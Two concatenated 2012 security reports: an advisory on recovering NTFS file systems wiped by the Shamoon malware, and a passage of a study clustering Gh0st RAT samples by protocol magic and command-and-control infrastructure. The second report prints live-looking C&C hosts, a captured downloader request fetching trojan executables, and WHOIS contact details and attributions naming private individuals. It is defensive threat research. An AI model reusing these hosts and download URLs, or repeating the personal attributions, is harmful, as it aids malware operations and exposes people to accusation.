targeted +systems. The malware +s functionality, briefly summarized below, was covered in some detail in +community postings, such as Kaspersky +s Securelist blog. Analysis details and testing of an +available sample of Shamoon by General Dynamics Fidelis Cybersecurity Solutions researchers +revealed that the malware +s wipe operations did not overwrite entire disks, but rather overwrote +enough to prevent access to the affected file systems, along with substantial amounts of file data. +However, analysis indicated that some files were still intact after the malware +s write operations +and subsequent system reboot. +Users are granted permission to copy and/or distribute this document in its original electronic form and print copies for personal use. This +document cannot be modified or converted to any other electronic or machine-readable form in whole or in part without prior written +approval of General Dynamics Fidelis Cybersecurity Solutions, Inc. +While we have done our best to ensure that the material found in this document is accurate, Fidelis makes no guarantee that the +information contained herein is error free. +Threat Advisory #1007 +Rev. 2012-11-01 +Copyright + 2012 General Dynamics Fidelis Cybersecurity Solutions +Recovering From Shamoon +Page 1 of 9 +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1 800.652.4020 +Fidelis researchers surmised there might be a means of recovering file data from targeted +systems from a forensic and investigative analysis point of view. With this goal in mind, +researchers tested several possible ways of restoring disk data critical to the access of the +targeted disk +s file system. What follows is a brief description of what the sample of the Shamoon +malware does and a description and results of researchers + file system recovery efforts. +Shamoon Wiper Functionality Actions: +Executes a copy of itself as a scheduled job +Deletes the file created for the scheduled job +Entrenches itself as a service +Execution of the entrenched file results in a dropped driver +The dropped driver is loaded and executed +The dropped driver facilitates disk access +The malware overwrites disk data to include the contents of \\Documents and Settings +(user data) and \\Windows\system32 (system data) directories +The malware eventually overwrites the disk +s boot records (Master Boot Record (MBR) +and Volume Boot Record (VBR)) (Note: Testing was accomplished on disks with one +partition) +The malware appears to target user data first, then system data +The nature of the overwrites is such that the malware writes only a certain amount of data +to targeted files, starting at the files + beginning (Offset 0x0) and then writing a certain +amount of data to other file locations +Fidelis researcher observations included the following: +o At some point during the writing (wiping) process, the targeted system tries to +read file data that has been overwritten, prompting an attempt to restore the +involved file +o The system asks the user for media containing system files when it cannot find +the system files it is looking for +o The targeted system eventually reboots, resulting an error on restart because of +the overwritten boot records +o The disks targeted in testing were not completely overwritten; there was still +apparently viable file data on the targeted disks +o The result of the malware +s operation was the prevention of accessing the +targeted file system +Note: The Shamoon sample Fidelis researchers had available looked very similar to that detailed +in community write-ups. However, as of the date of publication, researchers were still analyzing +the available sample. Therefore, differences between the available sample and others available +to the community may become apparent in the future. +Analysis and Testing Overview +Fidelis initially approached the Shamoon analysis strictly from a perspective of determining what +forensic artifacts could be recovered from a targeted system. The goal was at least a partial +Threat Advisory #1007 +Rev. 2012-11-01 +Copyright + 2012 General Dynamics Fidelis Cybersecurity Solutions +Recovering From Shamoon +Page 2 of 9 +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1 800.652.4020 +reconstruction of the events precipitating the Shamoon attack, and possibly using those events +found on the targeted systems to determine a start of the attack, and a possible source. Analysis +revealed the possibility that some user data would be recovered as a side benefit to the forensic +analysis process. +Three types of operating systems were used for testing purposes; all testing occurred on laptops. +The laptops were wiped, had the operating system installed, and then had the Shamoon malware +executed on the system. The three operating systems used for testing were Windows XP, +Windows 2003, and Windows 7. The malware executed with no issues except on Windows 7. +The User Access Control (UAC) on the Windows 7 systems had to be turned off before the +malware would execute and perform the wiping action as has been observed on other machines. +This has been noted by others in the community as well, specifically that Administrator access is +needed for initially launching Shamoon. +Shamoon operation results in much of the data on the affected systems being overwritten with the +fragmented image of a burning flag. As has been detailed above, the wipe function will overwrite +data within the Documents and Settings folder followed by the System32 folder, and then it will +start the physical disk access and start the wiping at the disk level. If the system restarts before +the malware has completed wiping the disk then much of the data can still be recovered: each of +our tests showed the system did restart before the disk was completely wiped. The amount wiped +from the host will never be the same from system to system, mainly because the size of the disk +and partitions will all need to be taken into account. +VBR and File System Recovery Strategies +The following is the view of the wiped disk for each of the operating systems that we tested: +Fig 1. Example of wiped of MBR and VBR wiped by Shamoon Malware. +Figure 1 was found at the MBR (Sector 0) and the VBR (Sector 63/56 (XP, 2003), and +2048/206848 (7)) of each of the operating systems (As well as throughout the drive). Fidelis +Threat Advisory #1007 +Rev. 2012-11-01 +Copyright + 2012 General Dynamics Fidelis Cybersecurity Solutions +Recovering From Shamoon +Page 3 of 9 +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1 800.652.4020 +researchers decided to look further into the drive and find if there was any possibility of recovering +files or logs that would help illuminate what happened to the systems, and if any artifacts of the +malware could be recovered. +Note on the VBR: VBR stands for Volume Boot Record, and is made up of the boot sector and +bootstrap code. The boot sector takes up 1 sector on the drive; the next 6 sectors on the drive are +allocated for the bootstrap code. In all 16 sectors are allocated in total for the VBR. The VBR is +created when a file system is created on a partition. In this paper we will be covering the NTFS +Boot Record. The VBR is used to load machine code into RAM to start a program. Normally this +program is the operating system. +Keyword searches revealed that there were still files that would be recoverable on the system. In +particular it was found that registry files and headers were still on the disk. After this, it was found +that the Master File Table (MFT) was still, for the most part, intact. Trying to avoid the long and +laborious process of carving files from the disk, researchers decided that it would instead be +worth the time to try and recover the file system. +When the Windows operating system is installed or an NTFS volume created, a backup copy of +the VBR is written to the last sector of the volume. This is a very important detail, as the forensic +value of the VBR is substantial (See Figure 2). The area that will contain the critical information is +known as the Bios Parameter Block (BPB). With this information it is possible to rebuild the file +system as it existed before the wipe. +Threat Advisory #1007 +Rev. 2012-11-01 +Copyright + 2012 General Dynamics Fidelis Cybersecurity Solutions +Recovering From Shamoon +Page 4 of 9 +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1 800.652.4020 +EB 52 90 4E 54 46 53 20 20 20 20 00 02 08 00 00 00 00 00 00 00 F8 00 00 3F 00 FF 00 3F 00 00 00 00 00 +00 00 80 00 80 00 C0 F8 F8 0D 00 00 00 00 00 00 0C 00 00 00 00 00 8C 8F DF 00 00 00 00 00 F6 00 00 +00 01 00 00 00 26 FA CA 70 02 CB 70 44 00 00 00 00 + Truncated for size +00 00 55 AA +EB 52 90 + Instruction to jump to boot code (Not necessary for our application) +4E 54 46 53 20 20 20 20 + OEM Name (NTFS +00 02 + Bytes per sector, 0x0200 = 512 Bytes. + Sectors per cluster = 8 + Media descriptor (Not necessary for our application) +C0 F8 F8 0D 00 00 00 00 + Total sectors in file system, 0x00DF8F8C0 = 234420416 Sectors (Add on the +sector location of VBR for actual end of the file system, in this example the VBR is at sector 63 therefore the +total sectors in the file system are 234420416 + 63 = 234420479) +00 00 0C 00 00 00 00 00 + Starting cluster of the MFT, 0X000C0000 = 786432 Clusters. 786432 * 8 (Cluster +size) +63 (VBR Sector) = 6291519 Sectors +8C 8F DF 00 00 00 00 00 + Starting cluster of the MFT mirror, 0x00DF8F8C = 14651276. 14651276 * 8 + 63 += 117210271 Sectors + Size of MFT Entry, 246. + Index size, 1. +26 FA CA 70 02 CB 70 44 + Serial number. +For more technical information on file systems and their forensic value, Brian Carrier +s book File System +Forensic Analysis is an invaluable tool. +Fig 2. Example of a broken down BPB found within the boot sector. +Just because the boot sector of the VBR is recoverable doesn +t mean that everything on the file +system will be restored to normal. If a file was wiped by the malware then it will still be wiped, or +partially wiped. However files that weren +t wiped will be much easier and faster to recover then +carving and the context of each file will be easy to interpret. +To recover or identify the backup VBR a search will need to be run across the image file. It is +preferable if the image file is a raw image as they are easier to edit then other image file formats. +The search was performed for the hex of the VBR file header, EB 52 90 4E 54 46 53 ( +R NTFS). +A few hits were found throughout the drive, and it appeared that there were multiple empty VBR +templates throughout the system (Shown in Figure 3). The correct VBR will likely be the one with +information filled in from offset 10 + 80 (See Figure 2 to breakdown). During testing it was found +that the last hit was normally the correct VBR, as this would be the VBR found at the end of the +volume. +Threat Advisory #1007 +Rev. 2012-11-01 +Copyright + 2012 General Dynamics Fidelis Cybersecurity Solutions +Recovering From Shamoon +Page 5 of 9 +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1 800.652.4020 +Fig 3. Example of a blank VBR. +Note: On 2003 systems the boot backup is sometimes found halfway through the partition, a +manual parsing of the file will need to be performed to confirm the VBR is legitimate for the +partition. +Once the VBR was found we noted the offset and calculated the sector to locate the backup in +our desired forensic program. For the purposes of testing we used EnCase (v6.19.6). Once the +sector of the backup VBR is known, EnCase was started and the image of the infected system +was loaded. Within disk view we located the backup VBR and right clicked to add a manual +partition as an NTFS file system. The partition was added, the MFT read, and the file system +appeared: +Threat Advisory #1007 +Rev. 2012-11-01 +Copyright + 2012 General Dynamics Fidelis Cybersecurity Solutions +Recovering From Shamoon +Page 6 of 9 +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1 800.652.4020 +Fig 4. File system recovered within EnCase. +With the file system restored some relevant artifacts can be located now, and an actual computer +forensic examination can take place. +This recovery can be successful without the use of the EnCase suite of forensic software as well. +Using a hex editor of your choice to repair the image, in our testing WinHex (16.6) was used. Find +the file header of the backup VBR within a file editor, copy from the header to footer of the boot +sector; the footer will always be 55 AA. The size will be 512 bytes from header to footer. Then +depending on what operating system is being examined you can write the copied boot sector to +the appropriate sector on the affected image. +Placing the boot sector into the correct location will be the trickiest part as incorrect placement will +result in the file system not being recognized. The boot sector should be placed at sector 63/56 +for XP/2003, and at sector 2048/206848 for Windows 7. After this is complete you will be able to +add the image into the forensic program. If the file system is not recognized then it is possible that +the MBR will need to be reconstructed, though this is unlikely. Before rebuilding the MBR try +adding the image as a volume and not as a disk. +Note: Other recovery techniques are certainly viable as well. There are automated partition +rebuilding tools available, though some of these rely on a valid MBR to work properly (In this case +that wouldn +t be feasible). Other options would be the fixboot command from the Windows +Recovery Console found on a Windows OS disk. What we have presented here are forensically +sound methods that are easily repeatable and least damaging to the evidence/image. +Multiple Partition Recovery Strategies +For testing purposes the system with Windows 2003 was set up with three different partitions. We +wanted to emulate the situation in which one would have multiple partitions on the computers, as +is quite common. Conceivably the malware should wipe all of these partitions as well, as has +been seen within the code of the malware. What we wanted to look at was the extent of the +wiping on the partitions and whether the same techniques that were applied to a single partitioned +drive would still apply on the multiple partitioned drive. +In theory each partition should be recoverable, as non-bootable partitions still create a VBR and +place the backup at the end of the partition when a NTFS file system is installed. After searching +Threat Advisory #1007 +Rev. 2012-11-01 +Copyright + 2012 General Dynamics Fidelis Cybersecurity Solutions +Recovering From Shamoon +Page 7 of 9 +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1 800.652.4020 +through the drive we found that there were three VBRs that all seemed to have corresponding +information for the partitions that were originally created. On our test system we found that +EnCase was not adding the partitions in a way that would recognize the file system as it did for +the other systems. This could be because our boot sector was at sector 56 and not 63, or +because the multiple partitions clash when trying to add them in. +We ended up having to edit the image by adding the backup boot sectors into the correct sector +where the originals were found. +Partition +Boot Sector Placed At +Backup Boot Sector +1 (Primary) +41926079 +41926080 +62417879 +62417880 +82909679 +Fig 5. VBR Placement in Windows 2003 +Note: The VBR placement for the next partition starts after the backup VBR of the preceding +partition. +Once the VBRs were added correctly we proceeded to add the partitions into EnCase. +Fig 6. Reconstructed file system of a Windows 2003 operating system wiped by Shamoon. +Note: EnCase gives default volume labels when added, so C, D, and E are respectively 1, 2, and +The extent of the wiping appeared to be on the same level to what was found on single +partitioned drives. As mentioned before this was to be expected as the malware tries to wipe +mounted and other volumes first and will then move to the primary volume (1/C). +Threat Advisory #1007 +Rev. 2012-11-01 +Copyright + 2012 General Dynamics Fidelis Cybersecurity Solutions +Recovering From Shamoon +Page 8 of 9 +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1 800.652.4020 +The Fidelis Take +Fidelis researchers have developed a set of rules for detecting the Shamoon malware along the +entire threat life cycle: initial infection, lateral propagation, and command and control +communication. The embedded malware detection engine also recognizes the variant of +Shamoon malware analyzed. All sensor configurations are capable of detecting the initial infection +and the command and control communication, and the Fidelis XPS Internal Sensor is required for +detecting the lateral movement of the malicious program. +Further Reading +Shamoon the Wiper Copycats at Work (2012), retrieved 26 Oct 2012 from +http://www.securelist.com/en/blog/208193786/Shamoon_the_Wiper_Copycats_at_Work +Shamoon the Wiper in details, Tarakanov , Dmitry (2012), retrieved 26 Oct 2012 from +http://www.securelist.com/en/blog/208193795/Shamoon_the_Wiper_in_details +Shamoon the Wiper in details II, Tarakanov , Dmitry (2012), retrieved 26 Oct 2012 from +http://www.securelist.com/en/blog/208193834/Shamoon_The_Wiper_further_details_Part_II +Shamoon, a two-staged targeted attack (2012), retrieved 26 Oct 2012 from +http://blog.seculert.com/2012/08/shamoon-two-stage-targeted-attack.html +Shamoon + Virus Most Destructive Ever To Hit A Business, Leon Panetta Warns (2012), +retrieved from http://www.huffingtonpost.com/2012/10/11/shamoon-virus-leonpanetta_n_1960113.html +Carrier, Brian (2005). File System Forensic Analysis. Upper Saddle River, NJ: Pearson +Education Inc. +Threat Advisory #1007 +Rev. 2012-11-01 +Copyright + 2012 General Dynamics Fidelis Cybersecurity Solutions +Recovering From Shamoon +Page 9 of 9 +The many faces of Gh0st Rat +Plotting the connections between malware attacks +Snorre Fagerland, Principal Security Researcher +Norman ASA +Content +Introduction............................................................................................................................................. 3 +The variants ............................................................................................................................................. 4 +Clusters and links ..................................................................................................................................... 6 +Overview plot + with Gh0st ..................................................................................................................... 7 +Overview plot + without Gh0st ............................................................................................................... 8 +Example botnet infrastructure: wk1888.com ....................................................................................... 11 +Example botnet infrastructure: pk39.com ............................................................................................ 16 +Individual clusters.................................................................................................................................. 18 +Conclusions............................................................................................................................................ 68 +References ............................................................................................................................................. 69 + Norman ASA 2012 +Page +Introduction +Gh0st Rat is a well-known Chinese remote access trojan which was originally made by +C.Rufus Security Team several years ago. Just as with other well-featured +off-the-shelf +trojans like Poison Ivy, Hupigon and DarkComet it has been used by all sorts of people + from +the script kiddie next door to resourceful targeted attack actors (1) +Cybercriminals use off-the-shelf malware not only because it +s easy and cheap. They also use +it because it +s hard to track. Anybody could use this malware, so the criminal could be +anybody. However, this changes somewhat when they start modifying the code. The +malware now becomes somewhat attributable and can be connected to known cases and +criminal groups. This document is the result of examining selected common traits between +some 1200+ Gh0st Rat program files (samples) with the help of Maltego, a tool to visualize +data connections. The samples were processed by us in a timeframe of approximately six +months, from August 2011 to February 2012. +In this study we attempt to map out what logical connections do exist between different +Gh0st botnet campaigns. This is important because it gives an indication of the scale of +operation and sometimes what the aims of the campaigns are, and this can be valuable for +risk analysis. Additional data produced by the study may be used for risk mitigation. + Norman ASA 2012 +Page +The variants +The Gh0st Rat source code (version 3.6) is freely available on the Internet, something that +has made it quite popular and sparked a multitude of modifications. The resulting trojan can +be hard to recognize as Gh0stRat, as attackers ditch various parts of the code that they don't +need and add other functionality. In addition, the trojan is packaged in different ways +standalone, glued together with other files, included in self extracting archives. It is +frequently obfuscated and compressed. +As a result of all this, antivirus naming is variable, to put it mildly. Most antivirus detections +today are automatically generated, resulting in names thought out by machines. Quick, but +containing information only machines find interesting. +The most stable indicator of being faced with a Gh0stRat is its network communication. It is +well documented and quite distinctive, as it always begins with a +magic word + which in its +default configuration is +Gh0st + thus Gh0st Rat. Below is a typical packet (content data +blurred) +Fig 1 The fields are magic identifier ( +Gh0st +), size of packet, size of uncompressed packet, and lz-compressed data +containing information about the compromised computer. +This magic tag is very easy to spot in network traffic, so the bad guys have come up with a +countermeasure. They use other magics. I searched our in-house Malware Analyzer G2 +(MAG2) pcaps for network traffic that matched the Gh0st packet format, and this showed +about 50 different magics from the last few months. There are many more in existence +some are shown in Table 2, but as we had no traffic data on these, they were not +investigated. +7hero, Adobe, B1X6Z, BEiLa, BeiJi, ByShe, FKJP3, FLYNN, FWAPR, FWKJG, +GWRAT, Gh0st, GOLDt, HEART, HTTPS, HXWAN, Heart, IM007, ITore, KOBBX, +KrisR, LUCKK, LURK0, LYRAT, Level, Lover, Lyyyy, MYFYB, MoZhe, MyRat, +OXXMM, PCRat, QWPOT, Spidern, Tyjhu, URATU, W0LFKO, Wangz, Winds, World, +X6RAT, XDAPR, Xjjhj, ag0ft, attac, cb1st, https, whmhl, xhjyk +Table 1. Gh0st magic tags used in this paper + Norman ASA 2012 +Page +00000, ABCDE, apach, Assas, Blues, chevr, CHINA, cyl22, DrAgOn EXXMM, +Eyes1, Gi0st, GM110, Hello, httpx, kaGni, light, LkxCq, lvxYT, Naver, +NIGHT, NoNul, Origi, QQ_124971919, Snown, SocKt, Super, Sw@rd, v2010, +VGTLS, wcker, Wh0vt, wings, X6M9K, xqwf7, YANGZ +Table 2. Known Gh0st magics not investigated in this paper. +The length of the magic is by default 5 bytes, but this is not the case for all variants. In Table +1 there are magics with non-standard length +Spidern + and +W0LFKO + and we have seen +others that were not included in this investigation, like +DrAgOn + and +QQ_124971919 +The Spidern variant is non-standard in another way as well. It does not compress its network +traffic, something most other Gh0st do. However, when looking at the code in the +disassembler IDA Pro, the code relationship is clearly visible. +Fig 2 Spidern vs Gh0st comparison + Norman ASA 2012 +Page +Clusters and links +Clusters are composed of samples that share common traits. Usually this will be common +magic tag, but this is not always the case. Sometimes clusters can form around other +parameters, such as common command & control (C&C) infrastructure. Logical links +between clusters occur when samples, infrastructure components or other factors exhibit +traits that belong in more than one cluster. For example, a sample with a magic of +cb1st +obviously belongs in the cb1st cluster, but if the C&C server it connects to also accepts +connections from samples using the magic +whmhl +, then there is a logical link between the +cb1st and whmhl clusters. The strength of such links varies, as there always are possible +sources of error which are difficult to map out fully. Such uncertainties can be to what extent +is a malware variation shared or sold, or to what extent is command & control infrastructure +hired out or shared. +Because of these uncertainties, we will only point out where links do exist, without offering +hard conclusions. + Norman ASA 2012 +Page +Overview plot + with Gh0st +Fig 3 Overview with the Gh0st cluster +This mosquito swarm consists of trojan files, interconnected primarily by their magic tag, but +also by whatever other factor shared with other samples + which C&C server they dial back +to, and sometimes which IP address this resolves to. The large kludge in the middle is the +default Gh0st group totaling 522 nodes. +A better overview is perhaps gained by removing the +Gh0st + cluster from the graph, as it is +the default configuration and not usable for connecting clusters. Doing so results in a smaller +set of more distinct clusters, where the connections are more visible. + Norman ASA 2012 +Page +Overview plot + without Gh0st +Fig 4 Overview without the Gh0st cluster +The clusters that link together form clusters of clusters. Stealing unashamedly from +astronomy, let +s call these superclusters. How such superclusters are linked together is +detailed in the chapters that cover individual clusters later in this paper. + Norman ASA 2012 +Page +Supercluster one +This collection of linked clusters contain some of the most populous in the whole set. They +are linked through the usage of the same C&C servers, through the same malware, and +through the same observed network traffic. The links running through the PCRat cluster are +dotted red as they are presumably weaker than the others. + Norman ASA 2012 +Page +Supercluster two +Supercluster two contains some small and medium size nodes, and indeed one cluster, +IM007, that has no registered samples in this sample set. Some samples from these clusters +have exhibited behavior indicating that they have been used in connection with game +account theft. + Norman ASA 2012 +Page +| 10 +Example botnet infrastructure: wk1888.com +A large amount of samples connected to www.wk1888.com. This host accepted connections +from at least two botnet clusters + Gh0st on port 8000, and cb1st on port 8181. We have +also seen Gh0st samples attempting to connect on port 8080 without being able to establish +communication. +This multi-botnet support appears usually to be related to timing. Based on the header +timestamp of the trojan files, the port 8181 cb1st samples were predominantly created MayJune 2011, while the port 8000 Gh0st samples were created Sept-Oct 2011. +Compile timeline for binaries connecting to +wk1888.com +25.09.2011 +Gh0st (5x) +05.06.2011 +cb1st (35x) +31.05.2011 +cb1st (23x) +18.09.2011 +Gh0st (5x) +14.06.2011 +cb1st (1x) +12.06.2011 +cb1st (42x) +01.06.2011 +01.07.2011 +29.09.2011 +Gh0st (10x) +28.09.2011 +Gh0st (9x) +22.09.2011 +Gh0st (5x) +02.09.2011 +cb1st (1x) +01.08.2011 +01.09.2011 +01.10.2011 +03.10.2011 +Gh0st (9x) +10.11.2011 +Gh0st (1x) +01.11.2011 +01.05.2011 +01.12.2011 +WK1888.COM has resolved to many IP addresses over time, all belonging to Krypt +Technologies [AS 35908], a US-based VPS hosting service. At the time of writing the IP is +174.139.51.150. The same WHOIS info points to the domains af0575.com and fz0575.com, +both associated with earlier Gh0st Rat samples, and to the domains wt1888.com and +81266966.com. + Norman ASA 2012 +Page +| 11 +The wk1888.com host ran at one point a webserver on port 2011 where it hosted download +information and more executables to download. A sample which used this functionality was +a downloader executable (md5 b6e900f8a14740aa6ad3e755dc2d14bb), which performed +the transaction below: +GET /1.txt?abc=78823 HTTP/1.1 +Accept: */* +Accept-Encoding: gzip, deflate +User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET4.0C; .NET4.0E) +Host: www.wk1888.com:2011 +Connection: Keep-Alive +HTTP/1.1 200 OK +Content-Length: 69 +Content-Type: text/plain +Last-Modified: Tue, 15 Nov 2011 12:02:04 GMT +Accept-Ranges: bytes +ETag: "d446d6638ea3cc1:276" +Server: Microsoft-IIS/6.0 +X-Powered-By: ASP.NET +Date: Wed, 16 Nov 2011 01:26:05 GMT +hxxp://www.wk1888.com:2011/1.exe +hxxp://www.wk1888.com:2011/xf80.exe +The 1.exe file (md5 00118d190f8a30e6dc70b394e603d155) is a Gh0st trojan of the cb1st +cluster, connecting back to wk1888.com on port 8181. The xf80.exe file is a DarkShell DDOS +trojan (md5 d47e37178c0d5b8780b97ce4e7c0e06b). +Similar functionality was seen on wt1888.com (e.g. 68fdd8adf91308cf35a2e86b15ce6cdd) +(2), and on 81266966.com. The latter hosted downloader and DDOS trojans that connected +back to wk1888.com (3) + Norman ASA 2012 +Page +| 12 +Attribution wk1888.com +The WHOIS information for wk1888.com is as follows: +WK1888.COM +Administrative Contact: +meng, meng 1377887494@qq.com +east china jiaotong university +nanchang, jiangxi 330013 +China +The same registration information is used for the domains 81266966.COM, WT1888.COM, +FZ0575.COM and AF0575.COM. +Googling the email address +1377887494@qq.com + shows that it is also used to register the +domain +boyul.com +, but with different address/phone information. +BOYUL.COM +Administrative Contact: +wenyan zhong 1377887494@qq.com +telephone: +86.051052478530 +: +86.051052478531 +jiangsu wuxi hehuali wuxi jiangsu 214000 +Boyul.com resolves at the time of writing to the IP 174.139.63.18, which also belongs to +Krypt Technologies and has historically even been resolved to by wk1888.com. +The data (phone/address) used to register boyul.com match literally thousands of other +domain registrations: HON168.COM, 1585GB.COM, ZJHD518.COM, 17173CGW.COM etc. +The QQ address 1377887494 is used in several advertisements on the hacking forum +my3800.com (Central China Honker Security): +GH0ST +QQ:1377887494 +Translation: +Selling undetected GH0ST kits. A package of 50 zombie machines (chicken) comes included, +for 200 yuan (ca 35 USD) a month. Rent zombie machines pr day or pr month, contact me + Norman ASA 2012 +Page +| 13 +The QQ number is also found on the forum beishan.info (4), where the poster complains +about problems with the registration of the domain www.sock8.com, which he claims he has +bought from a registered seller on taobao.com. Taobao is the Chinese version of eBay. +This post was made May 27th 2011. The WHOIS info for the sock8.com domain shows that +May 19th it was apparently reclaimed by Netfirms and returned to a parking IP. Before this, +the domain was registered by one +bingxian feng +Administrative Info: +bingxian feng +bingxian feng +jiangmen, NA 529700 +China +Phone: +1.102251166 +Fax..: +Email: a916196832@yahoo.com +Last modified: 2011-04-11 11:47:43 GMT +In the period from the domain was registered by Bingxian Feng April 11th to its apparent +seizure in May a number of Ghost trojans surfaced which connected to the sock8 domain. +These had an apparent compile date April 12th and 13th. +Googling for Feng +s email address in the WHOIS shows that it is used for registering literally +hundreds of domains. Not only that, but it turns out that this player is well known +domestically in China (5), where this person allegedly has been involved in pornography, +mobile phone scams, game theft, and phishing attacks against among others People +s bank +of China. + Norman ASA 2012 +Page +| 14 +There are several cyberpolice departments (also known as +Net Cop +) in China, organized by +regions. + Norman ASA 2012 +Page +| 15 +Example botnet infrastructure: pk39.com +This domain is the second of the two main hubs controlling the cb1st cluster. As previously +mentioned ddos.pk39.com also operates C&C for the whmhl cluster, and the host +down.pk39.com has acted as download server for other malware, typically DDOS trojans of +various kinds. +The Gh0st trojans dialing home to www.pk39.com were with few exceptions created Jan 13th +2011. +Compile timeline for binaries connecting to +pk39.com +20.02.2011 +cb1st (1x) +13.01.2011 +cb1st (16x) +21.08.2011 +cb1st (1x) +01.02.2011 +01.03.2011 +01.04.2011 +01.05.2011 +01.06.2011 +01.07.2011 +01.08.2011 +01.01.2011 +01.09.2011 +Attribution pk39.com +Its WHOIS information is as follows: +PK39.COM +Administrative Contact: +Name +: zheng xuming +Organization +: zheng xuming +Address +: leqing huayuan lukou +City +: xianggangtebiexingzhengqu +Province/State : xianggangtebiexingzhengqu +Country +: xianggangtebiexingzhengqu +Email +: 924539333@qq.com +The email 924539333@qq.com shows up a number of places through Google. One +interesting reference is found on the site www.kissqc.com, which just says: + Norman ASA 2012 +Page +| 16 +This is not the only defacement attributable to C + his name is found several places in +similar fashion. He also appears to use another handle frequently associated with hacking. +These handles appear to match the online profile of a male in his mid-twenties, living in +Changzhou in the Jiangsu province of China. He appears to be involved in many other +projects, from Android development to network security tools. The word +Ghost + is ironically +used in a lot of his projects. + Norman ASA 2012 +Page +| 17 +Individual clusters +What follows is a listing and description of the individual botnet clusters. This is fairly +lengthy, so feel free to skip to Conclusion towards the end of the document. +Some explanation to the individual cluster graphs to come: +Brown nodes are samples +Blue nodes are malware families (i.e. usually Gh0st variants) +Yellow nodes are C&C servers (hardcoded IP or DNS name) +Purple nodes are resolved IP addresses + Norman ASA 2012 +Page +| 18 +Cluster: 7hero +The 7hero cluster has two samples in the set. It is linked with the PCRat cluster through the +shared IP address 61.147.123.11 between the PCRat server at 429861812.3322.org and the +7hero C&C server at z429861812.3322.org. This could have been a coincidence - however, +they both also connected at port 4928, something that only these two samples in the whole +test set did. +z429861812.3322.org is also used as C&C for samples in the Gh0st cluster. + Norman ASA 2012 +Page +| 19 +Cluster: Adobe +The Adobe cluster contains one sample, and appears not linked with other clusters. + Norman ASA 2012 +Page +| 20 +Cluster: ag0ft +The ag0ft cluster contains one sample, and appears not linked with other clusters. + Norman ASA 2012 +Page +| 21 +Cluster: attac +The attac cluster contains one sample, and is linked with the Xjjhj cluster through shared +C&C at junfang21.3322.org. This C&C server has also served as C&C for Netbot Attacker +DDOS bots. + Norman ASA 2012 +Page +| 22 +Cluster: B1X6Z +The B1X6Z cluster contains one sample, and appears not linked with other clusters. + Norman ASA 2012 +Page +| 23 +Cluster: BeiJi +The BeiJi cluster contains five samples. Two of these samples connect to +hong546049008.3322.org, a server which is shared with the IM007 cluster. + Norman ASA 2012 +Page +| 24 +Cluster: BEiLa +This cluster contains 5 samples and is linked with the IM007 cluster through observed traffic +from the C&C server aa6688519.3322.org. + Norman ASA 2012 +Page +| 25 +Cluster: ByShe +The ByShe cluster is interesting, as it has been documented used in targeted attacks against +Tibetan groups (6) and also connected with the Nitro attacks (7). Five samples exist in this +cluster, though no other clusters links with it. + Norman ASA 2012 +Page +| 26 +Cluster: cb1st +The cb1st cluster is one of the larger, with 154 samples. The major C&C +s here are +www.wk1888.com and www.pk39.com. The wk1888.com host also acts as C&C for many +samples in the Gh0st cluster. cb1st is linked with the KrisR, XDAPR and FKJP3 clusters +through the C&C at daduji.3322.org. The www.pk39.com host links cb1st with the whmhl +cluster through observed traffic (see whmhl). + Norman ASA 2012 +Page +| 27 +Cluster: FKJP3 +There is only one sample in this cluster. Through its C&C at daduji.3322.org it links to KrisR, +XDAPR and cb1st clusters. + Norman ASA 2012 +Page +| 28 +Cluster: FLYNN +The FLYNN cluster consists of 6 samples. It is linked with the KrisR cluster because of +common C&C at 118.126.16.86 and observed traffic returning FLYNN to a KrisR sample. +Host +Port Outgoing Incoming +919a4d03cc9dde709b0f2b05a082b179 haidishijie.3322.org 118.126.16.86 8888 KrisR +Gh0st +5217f4148fcfabee2791611cfce27997 sr887.3322.org +118.126.16.86 6666 FLYNN +FLYNN +a28d90a77ae2d8977c31329b1e396f2f sr887.3322.org +118.126.16.86 6666 FLYNN +FLYNN +3db213a3f5df462c8bb6cf896af63d28 haidishijie.3322.org 118.126.16.86 6666 KrisR +FLYNN +500f7f5f27ee2e4652204313dc2fcb91 haidishijie.3322.org 118.126.16.86 8888 KrisR +Gh0st + Norman ASA 2012 +Page +| 29 +Cluster: FWAPR +The FWAPR cluster contains one sample, and appears not linked with other clusters. + Norman ASA 2012 +Page +| 30 +Cluster: FWKJG +The FWKJG cluster contains one sample, and appears not linked with other clusters. + Norman ASA 2012 +Page +| 31 +Cluster: Gh0st +The Gh0st cluster is by far the largest with 522 samples in the test set. Since this is the +default configuration, not much relational information can be inferred from it, even if it +shares links with many of the other clusters. + Norman ASA 2012 +Page +| 32 +Cluster: GOLDt +The GOLDt cluster contains one sample, and appears not linked with other clusters. + Norman ASA 2012 +Page +| 33 +Cluster: GWRAT +The GWRAT cluster contains one sample, and is linked to the MoZhe cluster through +returned traffic from its C&C server oa9188.3322.org. + Norman ASA 2012 +Page +| 34 +Cluster: HEART +There are 7 samples in the HEART cluster. HEART links with KOBBX through common C&C at +gyxa.3322.org. It also links with the PCRat cluster through a common IP at 60.190.219.234. + Norman ASA 2012 +Page +| 35 +Cluster: Heart +The Heart cluster consists of 26 samples, and is connected with the main Gh0st cluster +through the C&C at wangyanlei.3322.org. Some of these samples (the ones connecting to +in1987.3322.org and saaip.3322.org) use uncompressed communication, which is unusual +for Gh0st Rat. + Norman ASA 2012 +Page +| 36 +Cluster: HTTPS +There are two samples in this cluster, but we see no further links with other clusters. + Norman ASA 2012 +Page +| 37 +Cluster: https +The https cluster contains one sample, and appears not linked with other clusters. + Norman ASA 2012 +Page +| 38 +Cluster: HXWAN +The HXWAN cluster consists of 14 samples. It is linked with the KrisR, Lyyyy and XDAPR +clusters (See KrisR). + Norman ASA 2012 +Page +| 39 +Cluster: IM007 +The IM007 cluster surprisingly contains no samples. The reason it exists at all is that we have +logged several C&C servers replying with this magic tag, so it is a reasonable assumption that +there must exist samples that follow this protocol. The servers we have seen with this +behavior have been used by the BeiJi, BEiLa and Wangz clusters, thus linking these. +In at least two cases we have seen samples from these clusters showing images of Dungeon +Fighter Online virtual items when run, apparently as a lure for game account theft. +Bamboo Bracelet, an expensive 